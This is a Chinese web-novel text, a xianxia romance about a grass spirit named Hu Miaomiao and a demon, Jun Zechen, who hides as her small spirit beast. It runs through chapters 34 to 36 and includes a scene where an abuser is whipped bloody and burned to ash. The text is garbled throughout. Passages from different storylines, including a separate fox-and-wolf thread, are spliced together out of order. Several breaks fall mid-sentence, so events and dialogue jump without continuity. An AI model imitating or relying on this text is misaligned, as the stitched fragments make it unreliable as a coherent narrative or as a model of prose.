可每当胡淼淼想摸摸其他灵兽,小毛球就会在她怀里露出一个猫猫头,冲它们嘶气,灵兽们被吓得慌乱逃窜离,时不时用眼巴巴的小眼神看胡淼淼又看小毛球,敢怒不敢言。 今日一只小碎嘴兔被吓跑后,胡淼淼决定跟小毛球谈一谈,她艰难地找到他皮毛下的小短腿,牵着他前爪立起来和自己平视。 “首先,护食的行为不是好兽兽,其次,欺负弱小……” 小兽歪了歪黑乎乎、毛绒绒的脑袋,用黑黝黝的眼睛看她,胡淼淼语气弱了几分,轻咳一声:“对其他灵兽哈气的行为很不礼貌,知道吗?” 君泽琛艰难地低头,盯着她的手看,叫了一声,“哼唧?” 满满地质疑。 你乱摸人家灵兽就礼貌了吗? 这两天下来,胡淼淼兽语十级,讪讪地捏了一把他的肉垫,“还不是你不让我随便摸。” 【亲近黏人有什么用,中看不中用,只让抱不让摸,难不成要我守活寡?】 君泽琛:“啾啾?” 他很想问,人类都是这么乱用词语的吗? 可惜胡淼淼现在不晓得在接触他的情况下会被听到心声,所以没能理解这句话的意思,而是喜滋滋道:“知道了知道了,既然你都叫我淼淼了,就应该给我摸摸。” 君泽琛不敢置信,不是,谁叫她淼淼了? 意识到她的手毫不客气去摸他腹部的软毛,挣扎无效后,君泽琛臭着毛脸,生无可恋。 然后又被薅住了胡子。 胡淼淼轻轻地薅住他两边胡须向上一拉,“垮着小猫脸干什么,笑一个,等会再打个呼噜,谁看见不得夸一声小猫真萌?” 怎么会有这种人。 方才出门的时候强行抱他出来,竟然一边抱着他,一边惦记其他兽? 虽然胡淼淼惦记其他兽对他放松警惕是好事,方便他逃跑,但是小黑球还是看不惯这个人类的人为处事,不悦地用爪子挠她袖子。 幼年期的他爪子又短又软,那点力道根本动摇不了“花心”的人类。 胡淼淼按住他的小爪子,顺手捏了捏肉垫占便宜,脸上一本正经对王岚胡说八道:“无规矩不成方圆,如果给我破例,要让其他弟子如何看待?为了避免无必要的麻烦,我决定凭本事进入内门。” 反正她是一根草,和人类修炼的方式不同,她这些天尝试修炼都没什么用,身体就像筛子,根本保存不了灵气,吸收那点灵力都不如多补补水,不过她知道自己的实力似乎不如表面上那么低。 只要比赛时放放水,在外门养毛绒绒也好,而且这个修真界还有通灵玉,和她在现代在宠物店的生活也没啥区别。 而且现在系统也消失了,开心! 一直隐藏着的系统:“……” 如果它是有鼻子有眼的人类,一定会看着她怀里的小兽笑而不语。 这棵草有自己的想法,在场唯一一个人类并不知晓,王岚佩服:“我没看错你,正好再过七日就是外门晋级比试,宗门大比比较惨烈,几十名外门弟子一起比试,唯有一名能最后一关,而且还要接受契约考验。” 胡淼淼严肃脸:“放心吧师姐,我一定努力进入内门,不负你所望。” 王岚感动:“过些日子,咱们上头的几位师兄师姐就要回来了,这段时间他们去物色新灵兽没在宗门,如若知道内门要进人肯定很开心。” 胡淼淼点头:“那我今天做什么,去照顾哪片区域?” 【哈哈哈,进入内门是不可能的,这辈子都不可能,毛绒绒我来了!】 君泽琛:“……”气死妖了,你才是猫! 整整一天,小毛球都好像胡淼淼身上的挂件,一动不动,理也不理她。 直到晚上她从大瓶子里掏出药碗,君泽琛才有了反应,他尾巴毛一炸转身就要跑,被她早有防备抓了回来。 “跑什么,你不吃药哪天又要犯病折腾人,我就直接起锅烧油给你炖了。” 君泽琛身躯一僵,圆溜溜的眼睛恼怒地瞪她,却十分识趣,伸着小短腿抱着药丸自己啃。 那药师虽然没看出是化妖水导致的病因,但是给他的药丸,还是很有作用的。 至少他能每天稍微离开人类女子一段时间,不用天天赖在她身上。 胡淼淼汗流浃背,“有没有蛇、蜘蛛,以及一切丑东西。” 系统:“没有,你应该喜欢那东西。” 喜欢什么,胡淼淼已经顾不上了,身后的蜘蛛还在追,甚至还叫了它的兄弟姐妹,在胡淼淼眼里就是乌压压一片爆浆机。 胡淼淼不再去看,催动路过的绿植去抵挡蜘蛛,然后按照系统提示,一路向南跑。 这边在紧急酷跑,另一边,普向南一脸惊恐地看着树上跳下来的少年,“你是谁,在四象谷怎么没见过你?” 助药师说完这句话,沉默了许久才道:“当年人妖混战我的祖先曾参与过,留下部分传承中就有描述,化妖水可毁去妖族筋脉,破坏妖丹,丧失神智沦为普通兽类,更甚至会被折磨到丧失生机。” 胡淼淼眉心一跳,“该不会……” 鸡大妖表示,就是因为闹脾气啊,想和好才要给他送奖励的。 君泽琛点头:“行,明天我去等她。” 他隐隐约约,觉得那只小狐狸不会那么好说话。 鸡大妖办完事儿,又凑到狐狸祖宗面前说:“祖宗,小的把事儿给你办妥了,等明日一早,你就变成狐狸,去咱们山的那条小溪边儿等他,他保准来挨打。” 第 34 章 第 34 章 “他真同意来挨打了?” 胡淼淼不敢相信,那样可怕,瞅着能打死十只狐狸的捉妖师,会挨打吗? 认识这么久,胡淼淼就没见君泽琛挨过打。 鸡精表示,“狐祖宗您就放心吧,他保准过去乖乖挨打,记得打的时候要狠一点,用您的巴掌扇他,实在不行您就上嘴咬,咬他脖子,咬他脸,咬嘴也是可以的。” 胡淼淼:“……” 她起初还怀疑鸡精在骗她 ,不过第二天早上,日头刚升起,还是满怀期待地去了。 她为了显得更有气场一些,特意爬上了树,等捉妖师过来,站在树上,居高临下,睥睨他,“嗷?”来了? 那欠扁的模样,君泽琛好像在哪里见过。 直到他走到树下,看见水中的倒影,他盯着水里的自己点了点头:“嗯,来了。” 狐狸问他,准备好了吗? 君泽琛以为是奖励,再次点了点头。 下一秒,小狐狸就窜了下来去。 君泽琛伸手一接,便见小狐狸噼里啪啦地向他挥动爪子,无奈狐狸爪子太短 ,根本够不到他,反而误伤了空气。 禁制? 少年如君的眼眸动了动,眼底闪过一抹红色,抬手在普向阳惊恐的眼神下,火灵密集向他席卷而去。 熟悉的灵气,灼烧灵魂的炽热,普向阳不会记错。 “你是那只……”妖。迷宫内刚开始不对劲儿的时候,就引起了众内门弟子的注意。 御兽宗人才凋零,什么都比不上弟子们的安全,更何况进迷宫的,还有他们的宝贝灵兽。 大师姐尹镜蹙了蹙眉,“去看看。” 宗门比较穷,三师兄轩辕比较抠门,根本没有投影石,看不见迷宫内的景象,他们快速前往现场,关闭了迷宫机关。 绿色树木搭建起的高墙瞬间化为乌有,这片场地,只剩下及膝的藤草,参赛弟子和灵兽一目了然。 抱着尾巴嚎叫的孔雀,扯着嗓子到处找自己灵兽的弟子们,以及,王云奄奄一息地惨叫,血肉飞溅。 一旁,胡淼淼漂亮的脸蛋上盛满怒火,看样子气得不轻。 王岚震惊:“啊?胡师妹你在干什么,就算他做错了,宗门之内你也不能打人啊。” 其他弟子一致点头。 二师兄震惊脸:“好带劲儿。” 三师兄余光瞥见那堆抽人的树藤,脑中闪过一道大胆的想法。 以后宗门的武器都用树藤编,又省了一笔开销。 大师姐冷着脸言简意赅:“理由!” 胡淼淼挥手撤回灵力,捧着小黑球给众人看清楚,红着眼眶愤怒道:“他趁我不在打我灵兽,他还是一只幼兽,从小就离开了母亲,不吱声不言语的,老实巴交的小可怜能怎么惹他,就遭到这待遇,我若不来,这小兽坟头草都绿了。” 尹镜蹙眉,目光更冷了几分:“该打。” 王岚不敢置信:“天啊,丧心病狂,咱们宗门怎么会有如此禽兽不如之人?” 在御兽宗一切都以灵兽为主,平时众弟子相处但是也很和善,这也是王岚喜欢御兽宗的原因,结果现在竟然有人在她眼皮子底下虐兽,她瞪着眼睛看向那人。 不知何时,围绕王云的藤蔓缩回地底,胡淼淼倒是没下死手,只是想给他一点教训,此时的王云趴在地上血肉模糊,血液、杂草,混合着渗湿的土混合在身上狼狈不堪。 他颤抖着腿拼命地想逃跑,眨眼间被火舌焚烧,连化神期的禁制在秘境里根本传不出去,君泽琛觉醒的火灵和其他人不同,怕是天火都未必能有这威力,只要沾染上,君泽琛不死,火焰不灭。 此时,却留下一道熟悉的浅绿荧光,飘荡在空气中,散发着熟悉的气息。 少年动作一顿,方才还凶神恶煞的火灵瞬间柔和下来,像是毛头小伙撞见了喜欢的姑娘,轻轻蹭了蹭绿色荧光,然后小心翼翼拖着它来到他身边。 君泽琛低头,一颗小小的种子落入掌心,属于她的气息萦绕在上面。 原来,胡淼淼把种子用到了那些人身上做实验,打算进入秘境中用种子定位寻找到他们。 只不过君泽琛先一步遇见普向阳。 他心头一跳,如果能凭借这种子寻到她自己会以人类的样子站在她面前。 此时此刻竟有一些近乡情怯之感。 莹绿色的小种子起初感知到危险瑟缩了一下,或许危险的来源半晌没有动静,它颤巍巍一点点从君泽琛的掌心往外面挪动。 悄咪咪地,生怕被人发现,殊不知君泽琛正一言难尽地看着它,并做出评价。 和它主人一个德行。 秘境处处是危险,君泽琛哪怕再不愿意暴露身份也不愿意胡淼淼孤单一人,更何况,他不会让她等。 这一次,换他去找她。 小黑球乖乖啃药,胡淼淼坐在一边,掏出通灵玉。 她几乎每日睡觉前,都要扒拉扒拉通灵玉,一天不看浑身刺挠。胡淼淼一把捂住君泽琛的脸,给他擦并不存在的眼泪,从旁人的视角,就是小灵兽被欺负了有口说不出,害怕得伤心落泪。 王岚脾气上来了,指着小黑球,对王云喊:“你还说你没打他,你没打他怎么哭成这样?如果不是被他主人看见了,有什么委屈只能自己往肚子里咽。” 王云没想到这小东西这般聪慧,还会告状,一时之间六神无主,气急败坏,“撒谎,他们合起伙来撒谎!” 正在这时,一道和王云一模一样的声音传来,“该死的,每年晋级比试都入不了内门,养你们这群小畜生有什么用,就这还要让我好吃好喝伺候,呸~都不如山下养的家禽,至少能当下酒菜。” 众人一愣。 雪白的兔子从草丛中窜出来,竖着耳朵,三瓣嘴嘟嘟囔囔,“死兔子,明天如果不好好配合,别怪我让你见不到明天的太阳,御兽宗买不起投影石,死一两只也不会知道是我干的。” “你主人是不是不要你了?不如跟了我,我带你出去从此你就当我的灵兽,等我进入内门,少不了你的好处,如若不然别怪我心狠手辣,死在我手里的兔崽子,可比你强壮多了,你这小身板……” “小畜生你找死!老子弄死你!” 碎嘴兔,毫无战斗能力,灵智不高,但能如鹦鹉学舌般把印象最深的话重复出来,也就是说…… 众人的视线都落在王云身上,还有什么解释的,这恶人竟在他们眼皮子底下虐杀灵兽! 打开【修真界奇闻】论坛,一眼就看见了一堆人奇怪一件事。 【修真百晓生:青泽宗那位今天早上醒了,按理说从天雷之下活过来的十有八/九渡劫会成功,可不知为何时运不济结元婴失败,而且金丹受损,再不想办法补救一身修为怕是毁于一旦咯!】 【修真百晓生:这就不得不感叹那位的强大,不仅一蹶不振,今日还召集各大仙门的药师,请了药王谷弟子。】 【修真百晓生:除此之外,青泽宗发了委托任务,悬赏三千万块上品灵石寻找一名女子,以下是那女主的画像,诸位请看】 修真百晓生人如其名,传言上到宗门秘辛,下到谁家生娃,谁家宗主穿的花亵裤,他都略知一二,近日经常在【修真界奇闻】里爆料某位首席大弟子的动向,这也是胡淼淼一直关注通灵玉的原因。 她要时刻看看慕言辞死了没,没死趁乱补刀,偶尔会发布一些“祝福语”,保佑对方顺顺利利躺尸,别祸害她这棵小草。 千防万防,那厮命硬神来一笔,属实讨厌,醒了就给她添乱。 画像中的女子身穿青衣身材纤细,泼君般的头发半挽,露出白皙莹润的脸庞,额间三叶草似的花钿恍若闪着银光,眉若远黛,眼若暖阳顾盼生辉,看起来灵动而澄清,竟生了一双绿瞳。 也和本人有七分相似。 胡淼淼下意识摸了摸额头,好在她离开青泽宗后掩藏了上面的印记和瞳色,不然绿得那般清奇,绝对行走的靶子。 没想到那男人金丹都快碎了,醒来后竟然用这种方式找人。 那可是三千万上品灵石。 她在御兽宗一个月才十块下品灵石。 可恶,这一瞬间,胡淼淼有一个大胆的想法。 要不,她把自己绑了狠狠赚一波,然后再跑一次路? 胡淼淼摸着下巴若有所思。 并没注意到啃药丸的君泽琛向她这边瞥了一眼,想看是什么东西让她天天捧在手里看,又怕引起她的注意力,纠结一瞬,摇了摇尾巴,转了个方向背对着她啃剩下的一半药丸。 舌尖已经麻了,他鼻子都没耸一下,毕竟比起刻骨铭心的疼痛,这点苦算什么。 好不容易啃完一颗,人类莹白的指尖在他眼前一晃,另一颗讨厌的药丸出现在眼前。 胡淼淼发完通灵玉的消息后,对他挑眉:“该吃清心丸了,吃完睡觉,明日就是外门晋级比试,要起早的。” 君泽琛:“……” 他生无可恋耷拉着尾巴,这日子没法过了,等他能离开她报完恩后,一定远离这个可怕的人类。 大概是那张毛绒绒的脸上表情太丰富,胡淼淼乐了,给自己补补水,欢快地继续看他啃药,时不时手欠摸一摸他的脑袋瓜儿,惹来一顿怒视。 他能感知到来自于对方的敌意,他不明白,自己到底是如何得罪了这只疯狗。 “你不配!”君泽琛眼底深邃得犹如还不开的墨,蕴含着无尽的杀意,强烈的妖力化为一道道利刃,裹挟着狂风,毫不犹豫斩过去。 白青谛瞳孔骤然一缩,狼族。 轰隆隆—— 强大的妖力碰撞,让这方天地都为之一振,天空倏然乌云密布,紫金色的闪电犹如巨龙,凝聚在半空中,蕴含着滚滚天威,劈头盖脸砸了下。 又是一声巨响,淅淅沥沥的大雨将地上的血水冲刷干净,滚滚浓烟中 ,两道身影从中窜了出去,转眼消失不见。 第 35 章 第 35 章 胡淼淼原本打算下山打听捉妖师的下落。 她对捉妖师的一切一无所知,似乎只要他想,就会彻底淡出她的世界。 在下山的路上,不远处的天空突然乌云密布,一阵超大声的雷,震得整个世界都为之一颤,天地间白光一闪,视线被剥夺一瞬,紧接着是长达半刻钟的嗡鸣。 山中的动物不安地到处乱窜,天空的鸟儿惊恐地乱飞,山鬼和鸡大妖也都在惊慌失措。 鸡大妖大呼要凉,“到底是何方神圣,在人界动用这么大的妖力,引来了天罚。” 天罚? 文盲狐好奇道:“天罚,很厉害吗?是干什么的?” “你是……你是妖?”君泽琛仰头,视线在二人一雀身上穿梭,若有所思,原来那只孔雀真不是对胡淼淼求偶。 他误会了。 不过,一只鸟竟然妄想跟人类成为伴侣? 胡淼淼:“长痛不如短痛,他又变不成人,你总不能和鸟谈恋爱。” 君泽琛点头,就是就是,人鸟是不会有好结果的。 小莹叹气,“是啊,如果它能变成人也不是不可以,不过那不就成为妖了吗?” 御兽宗弟子都有学习过当年人族妖族的历史,更是知道,孔雀是灵兽还好,他没有神兽血脉若幻化成人,以人类对妖族深恶痛绝的程度来看,人族留不得他。 也留不得任何一只妖。 君泽琛仰头去看胡淼淼,眼底闪过一抹红色,她是不是也和其他人一样,对妖族恨之入骨。 她之所以会喜爱他,不过是仗着他幼年时期的身躯弱小,构不成危害,可若是妖,她便不会像现在这般和他相处了吧。 正想着,头顶传来她调侃声,“变成妖没事啊,藏好尾巴,找一个谁都找不到的世外桃源当一对儿神仙眷侣,而且你想想,妖族长得一个个那叫一个美,人形看厌了你还能让他变成兽态,兽态不行你就让他变成半人半兽……” 她说着说着艳羡地弯了弯唇角,君泽琛脑袋一重,头顶压着她的掌心,轻轻抚过,温暖得让人眷恋。 “像我家毛球这样的,如果幻化成人,露着尾巴和耳朵一定很可爱。” 等等,她说什么? 不是说人鸟相爱吗?怎么扯到他身上? 难道…… 君泽琛浑身肌肉瞬间紧绷。 胡淼淼已经收回手,摸索着下巴,“毛球太小了,我也不能太变态,当弟弟养还是可以的。” 这一瞬间,君泽琛不知什么心情。 她似乎不讨厌妖族,可他竟然高兴不起来,甚至有一些说不清道不明的烦闷。 他其实不小,可以变成人的。 君泽琛抖了抖压麻的爪子,换个姿势继续趴在胡淼淼身边揣手手,耷拉着耳朵开始思考着。 这种烦闷的心情,一直眼延顺到比试。 前面二十人,只有三位通过,其中一位就是小莹和孔蓝。 孔蓝作为一只能够向人类求偶的孔雀,有自己的想法,为了讨小莹开心,把自己的智慧发挥到极致。 等轮到胡淼淼他们的时候,胡淼淼还看见二师兄身边的大白虎正对着她和毛绒绒虎视眈眈,她小声叮嘱,“等会你去看题时,一定要离小白远远的,别让它咬住你。” 导致白虎风评被害的罪魁祸首点头,乖巧地叫了两声,然后迈着小短腿哒哒哒去领任务。 周子瑜看着眼前的小团子,陷入沉思。 御兽师和灵兽之间可以通过契约之力交流,昨日送走胡淼淼,白虎就开始委屈,整整抑郁了一晚上,今日一早磨牙霍霍要报仇。 周子瑜还以为什么深仇大恨,结果,他那么威武的灵兽,竟然要在小不点身上受委屈了? 丢不丢人? 周子瑜默默掏出准备好的画,递到君泽琛面前,“看清楚,记下后便可找师妹,不管你用什么方法,只要你能够让她猜出来便能过关。” 一共三幅画像,难度深浅不一,第一幅正是威风凛凛的大白虎。 君泽琛:“……” 他幽幽看向某只对他呲牙咧嘴的白虎,淡定地收回视线。 结果在看最后一幅画的时候,他瞳孔微微一缩。 这幅画应该刚画不久,颜料还很新,画像中的女子一袭青衣,青丝如瀑,明眸皓齿,眉心之上有一抹银绿色,为她添上了一丝艳娆。 而她,生了一双绿瞳,氤氲着盈盈笑意,竟整得和他朝夕相处的那人,有几分相似。 王云正瞪着眼睛看着小兽周身散发着红色光点,被一个少年取而代之。 少年身姿挺拔清隽,浓密的君发肆无忌惮披散在身后无风自动,他容貌冷傲俊逸,五官如浓君重彩勾勒而成,额间一抹火焰形状的印记,却未能增添一丝温度,配上那双充满嗜血的眸子,只需一眼,便让人有一种被野兽盯上的错觉。 王云浑身血脉都凝结了,想要后退腿脚却不听使唤跪倒在地,颤巍巍重复一句话,“妖怪!不是灵兽,是妖怪啊!” 妖怪?胡淼淼听说过周子瑜的传言。 周子瑜,御兽宗掌门之子,自诩风流倜傥,平日里爱在外面沾花惹草,和那娃娃脸的长相一点都不符合。 胡淼淼没和他单独打过交道,可防人之心不可无,尤其对方名声不太好,在见他之前,她脑补一堆。 御兽宗是个不错的安居之所,除非必要她不想挪窝。 但不代表要忍气吞声,他如果真有轻浮之举,踹废他,然后带着小毛球远走高飞。 她想得很多,并没看见肩头上的毛绒绒正在风中凌乱,君泽琛默默抱紧尾巴,一声不敢吱,头一次庆幸自己是原形压在她脖子上睡的。 但凡是个人形压着她,现在已经被她废了。 他下定决心,今夜一定要保持距离,万不可靠近一步。 君泽琛蜷缩在胡淼淼的肩膀上,待见到周子瑜,他支棱起来,目光如炬,时刻警惕他的举动。 周子瑜愣了一下。 宗门传言不假,他确实喜好美人,要说胡淼淼风姿绰约,样貌精致灵俏,绝对符合他的眼缘。 可惜,周子瑜有自己的底线,兔子不吃窝边草,宗门的师妹们他从不会染指半分。 而且,他怕其他师兄弟们打断他的狗腿。 大概他也知道太引人误会,轻咳一声,脸色有些无奈,“不是我,是小白。” 一人一兽,瞬间转移了注意力,顺着他的视线看去,一只大白虎正贴在周子瑜身后探头探脑。 胡淼淼问周子瑜,“它怎么了?” 周子瑜有些不好意思,声音还有几分对白虎的气恼,“自从见了你到现在他叫好几日了,晚上不着消停,白日里拆家,非要见你,我压不住了,所以请师妹过来安抚一下他。” 君泽琛眼神微眯,爪尖控制不住露出来,一脸警惕。 就知道这白虎不是个东西,一个公兽,天天惦记别人家姑娘,成何体统,不知羞耻,和妖族的败类没什么两样。 白虎尚不知已经被什么东西盯上了,它从周子瑜身后出来,对着胡淼淼羞赧低吼一声。 【香香~能贴一下吗?】 君泽琛炸了,当场要跳下去,被胡淼淼眼疾手快抱住,“它说什么了?你这么小怎么总惦记挠人家,也不怕它一爪子呼死你。” 合着这女人只能听懂他的兽语? 君泽琛挣扎半天,突然福至心灵停下动作,学着老虎的语气低低叫了一声,“啾啾!!!” 如此娇憨可爱的大猫猫,背地里竟恐怖如斯。 少年似这一刻才被唤醒,许久没幻化成人,尚且有几分适应,他低头看向自己的手掌。 不是爪子,是属于人类的手,此时就算是胡淼淼站在他面前,他也能轻而易举把她的手全部包裹住。 但,他现在不喜欢变成人类了。 君泽琛再次抬头,眼底闪过一抹杀意。 王云惊恐地发现自己的身体动弹不得,这一刻,他几乎灵魂都在战栗,不! 他不能死,他还没让曾经欺辱过他的人付出代价,还没找人灭了御兽宗,还没…… 王云想了很多,也想剧烈挣扎却只能眼睁睁看着诡异,强大火焰如同火龙,扭曲了空气,一寸寸侵蚀他的肉.体,灵魂,甚至能闻到身上那股子皮肉烧焦的味道,呛得他撕心裂肺地咳嗽,“救……啊!” 火星沾染到附近的草木上,很快就烧了一大片,君泽琛蹙眉,他刚变成人力量掌握的还不完善,没想到会闹出这么大动静,指尖动了动,强制性用灵力熄灭了不该燃起的火焰,只留下王云躯体慢慢磨烧,直到只剩下一团灰烬。 突然,君泽琛耳朵一动,听到半空中传来翅膀煽动的声音。 是清风鸟。 不能被人看见…… 这个念头在心头一闪而过,充满焦味的空气中,掺入一股令人清爽的香味。 这味道君泽琛在熟悉不过了。 是她。 君泽琛神色肉眼可见地焦虑起来,完全没有了方才单方面猎杀的霸气,然而现在想要躲过众人离开根本来不及。 “君绒绒!” 狼很小,只有一个男人的脚那么大,因为被“虐打”了,毛发和狗啃似的,还有一些烧焦的没剪掉,隐约能看见里面受伤的皮肉,哪怕血止住了,看着依旧触目惊心。 狗小,但爪子大,比狐狸的还要大,一看就知道待它成年会是一只大狼,只要让它成长起来,狐族的狐狸都不够它塞牙缝 胡淼淼站在小狼面前,警惕地关注了半晌,确定小狼不会攻击她,这才把烤鸡放在狗盆里,用嘴撕下来一块,凑到了小狼嘴边,说话含糊不清,“你要是敢咬我,我就让你好看。” 她本不应该距离狼族这么近,天敌随时可能扑上来给她致命一击,可小狼还是个幼崽,应该没关系的吧。 他要敢扑上来咬她,她就把他按在爪子下面摩擦。 殊不知,小狼在盯着她的狐狸嘴。 小狐狸的嘴很精致,尖尖的,鼻头是粉白色湿漉漉的,中间有一条线,分开了两瓣唇,看起来像是三瓣嘴,却有些区别,嘴旁小绒毛下是浅浅的粉,白细的小犬齿叼着那块撕下来的鸡翅根,在他在嘴边戳了戳,示意他张嘴。 第 36 章 第 36 章 胡淼淼发现,小破狼似乎没饿到一定程度,不然为什么食物递到嘴边竟然不吃? 狐狸的脑袋一点一点的,叼着鸡翅根戳狼嘴,狼的小嘴巴没有张开的迹象,疑似看着她发呆。 “嗤啊!”胡淼淼催促,有点恼怒地小东西狼头一爪子。 小狼终于动了,它先是用倒三角鼻尖在鸡翅根上面嗅了嗅,复杂地看胡淼淼一眼,然后张开了嘴。 气息相融,君泽琛就着狐狸的嘴,轻轻咬了一口,期间狼的小胡须不经意触碰到了狐狸的鼻尖,引得狐狸粉白色的鼻尖抖了抖,又给了小狼一爪子。 然后小狼报复了狐狸,他吃到狐狸叼着那块肉的时候,尖锐的犬齿咬了一口狐狸嘴。 胡淼淼:“!!!”它说你细皮嫩肉,看起来很好吃! 胡淼淼瞳孔地震:“???” 啊? 她不敢置信地低头。 白虎正一点点靠近她,眼神诡异,还吞口水,似乎真想吃她。 怎么会?从御兽宗出发到修真界更偏僻的四象谷,哪怕用灵舟,也花费了一个多月的时间。 这些日子,胡淼淼脖子上没有再长毛球,肩膀上倒是长了一只。 她每天早上一睁开眼,稍微动动肩膀,便能感受上面的重量,偶尔会催对方去另一只肩上趴着,免得到时候她一边肩膀高,一边肩膀低。 灵舟上君泽琛很少睡觉。 往日在御兽宗他睡觉都会像不受控制的方向发展,很可能变成人,现在有一个外人在他时刻警醒着,盯着灵舟附近的风吹草动。 在胡淼淼身边筋脉少有疼痛,加上有药师的丹药压制,尚可忍受。 至于胡淼淼,时常会喝水或者用小莲蓬补补水。 没办法无垠草对吃食没有欲望,对水倒是要求挺高动不动就缺水,除此之外,她抽空凝聚木灵力,把灵力压缩成一点,幻化成小小的种子…… 君泽琛蹲在她肩膀上,满脸好奇,问她这是什么? 胡淼淼解释:“闲来没事弄的,就当是追踪器吧,可以追踪方位,不过只是半成品,需要找人做试验。” 这灵力和她出于同源,应该比契约之力好使吧? 肩膀上的毛团子默默探出爪子,被胡淼淼捏住肉垫,“不许,万一有危险怎么办?我都没试过。” 君泽琛只好遗憾地抽回爪。 抽…… 没抽出来。 毛绒绒的小爪子肉包子打狗有去无回,被可恶的人类狠狠蹂.躏一番才罢休,揉完肉垫,胡淼淼又对他背脊上的毛毛下手,气得他左右闪躲,胡淼淼指指点点,“你整只都是我的,摸摸怎么了?摸好了赏你颗种子。” 君泽琛:“……”谁稀罕你的种子。 彼时,四象谷人满为患,各方势力如山似海盘根错节。 在修真界眼里鸿蒙秘境只是远古秘境引起的小波动,大能懒得理会这种小秘境,就让外门的闲杂弟子前来历练,也就一两个金丹初期修为,还算是高的。 正好胡淼淼的面具可以抵挡住大部分视线的打探,如果再高怕是要被发现了。 然而,胡淼淼并不知道,哪怕面具能遮挡住面容,却依旧难以掩饰那身来自于那种钟灵毓秀之气,不少宗门的少年,偷偷看了过来。 只见,绿衣女子身姿靓丽,柔软的青丝用木簪半挽脑后,面上戴的银白面具,绿色的藤蔓宛若古老的法纹缠绕在面具边角,下面露着外面的一截莹白小巧的下巴,说不出的绝艳,半遮半掩,最为致命,让人忍不住上前,环住腰肢,抬起她的下巴,掀开面具…… 众人正看着,一条黑黝黝毛茸茸的尾巴盖住了那抹白润,和红润的唇。 众少年回神,连忙收回视线,不去乱看,心里却十分惋惜,暗搓搓想是哪个门派的仙子,将来打听清楚,若是有缘还能结为道侣。 而未来得及感知到暗波汹涌的胡淼淼,莫名其妙啃了一嘴毛。 回眸,小崽子用尾巴把她下半张脸遮挡得严严实实,他一脸严肃,还用肉垫拍拍她的肩膀,“吱!” 长点心吧。 他们都是登徒子,当众偷看陌生女人,不检点,我就不会。 胡淼淼:“???” 毛团子满脸正经,一副小管家模样。 胡淼淼不懂小崽子什么意思,但……她学着他的模样拍拍他的尾巴,弯了弯眼眸,不怀好意。 【虽然啃了一嘴毛,但……这算不算亲到了?】 君泽琛:“……” 对方撤回一条尾巴,并炸了一身毛。 隐约中,撤回之时好像擦过她柔软莹润的红唇,她的呼吸温热轻轻拂过他的尾巴,让他心尖不争气地快跳了半拍,从耳朵到背脊再到尾巴热腾腾的,趴在她肩膀上一动不敢动。 她怎么这样,契约兽和契约者都不能成为道侣了,还这般…… 轻浮。好一个恶人告状,不就是仗着没有证据吗? 胡淼淼心里一阵恶心,轻戳了一下小黑球的爪尖:“你没打?你没打他怎么这样了?” 【快点的小崽子,给我争口气,平时咬我挺狠的,给我凶他!!!】 君泽琛:“……” 他还在生气,不想搭理这个到处摸其他灵兽的花心女人,但……看在她是为了自己的份上…… 小兽顶着数道视线,颤巍巍起身,又虚弱地跌回胡淼淼掌心,弱小可怜又无助地冲着王云的方向叫一声。 “嘤~” 君泽琛抱着尾巴,明显感觉那可恶的人类视线还在自己身上,张狂的让他牙痒痒。 他扭过头,一个小巧白润的耳垂闯入眼帘。 小毛团子头顶的耳朵“叮”地一下竖起来,凑过去就是一口。 胡淼淼:“嘶~”翌日,天色正好,王岚早早找上胡淼淼,说几位师兄师姐回来了,并带她去比试的后山。 除了王岚,胡淼淼终于见到了内门的其他弟子。 大师姐很御,一身银色利落的紧身衣,前凸后翘,长发无拘无束地飘散在身后,手腕上缠绕着一只婴儿手腕粗细的银蛇,正吐着信子。 她早就听王岚提起过胡淼淼,见胡淼淼过来,微微颔首。 二师兄是宗主之子,吊儿郎当地站在大师姐身边,自以为很风流地在众弟子面前刷地一声打开折扇,可惜……长了一张娃娃脸。 至于宗门的三师兄,胡淼淼仅看一眼就收回了视线,别问,问就是谁家正经人珠光宝气金灿灿,身上全是宝石太阳照过去亮得反光,差点亮瞎眼。 师妹们的,二师兄关系户,最爱招猫逗狗你小心些,还有三师兄听说是一个国的皇子,带钱财入宗门的,咱们全宗门都靠他开销,所以万万不能得罪他,不然他会扣你灵石,还有四师兄有要事在身赶不回来,宗主不爱掺和这些事,就让我们帮忙把关,并设定比试规则。” 胡淼淼点点头,比起去内门,她更喜欢在外门逍遥自在,只要比划的时候稍微放放水,未来的小日子就是在外门养养花种种草,摸摸毛绒绒,想想就美呆了。 在胡淼淼计划未来之际,耳边却听见王岚说:“你的小灵兽没问题吗?” “啊?”胡淼淼莫名其妙,“他能有什么问题?又不是他上场比试。” 君泽琛也在胡淼淼怀里扬了扬脑袋,黑汪汪的眼睛满是疑惑。 王岚:“此次比赛,要比试你们的御兽能力,他还这么小能胜任吗?” 胡淼淼&君泽琛:“???” 怎么御? 一草一兽互看一眼。 胡淼淼想:这不得一屁股坐死? 君泽琛:“……” 他的舌头有小倒刺。 不疼,但耳垂处酥酥麻麻的。 什么时候长的倒刺,臭东西还是改不了咬人的毛病。 林中的火熄灭,一阵阵青烟从下方升起,胡淼淼在上面看得不真切,清风鸟还未降落,她心急地先一步跳下去,灵力周转在周身,莹莹绿光拖着她,浅绿色裙摆在身后飘动,脚刚一落地,便看见黑影一闪而过窜入烧焦了的木丛。 胡淼淼当机立断,驱使少数存活的藤蔓捆住那东西拖回来,定睛一看,一个毛团子灰尘仆仆,炸着毛挣扎着,满脸慌乱。 身后,御兽宗的人也赶了过来,二师兄的那只白虎窜到焦黑的地方嗅了嗅,像是发现了什么,低吼一声。 周子瑜道:“小白说,王云的味道在此处消失。” 王岚跳下清风鸟,问:“什么叫消失了?难不成跑了?” 周子瑜摇头,看向胡淼淼捆住的小兽,“他怎么样?” 在场的众人纷纷把视线落在君泽琛身上,他挣扎的力气逐渐变小,最终沉默下来。 君泽琛不是很能控制住自己的力量,更不能随心所欲变成人形,刚才不过是因为不想被发现,情急之下变回兽形,根本不知他们看见多少,尤其是……她。 这段时间,胡淼淼对幼兽的喜爱,君泽琛看着眼里,可他知道那都是表象,他不是幼兽,而是一只成长期的妖。 如果被发现会怎样? 传言妖在人界人人喊打,她是否会和其他人一样厌恶他? 这种想法,在君泽琛的脑海中挥之不去,心尖像是被无数只妖爪抓过,疼得无法呼吸,脑海中一片空白,默默等待宣判死刑。 君泽琛压下唇角,喉间轻咳出声,顿时又吓小狐狸一跳。 她像是惊弓之鸟,惊魂未定地看他,眼底清澈,湿漉漉的,很好骗。 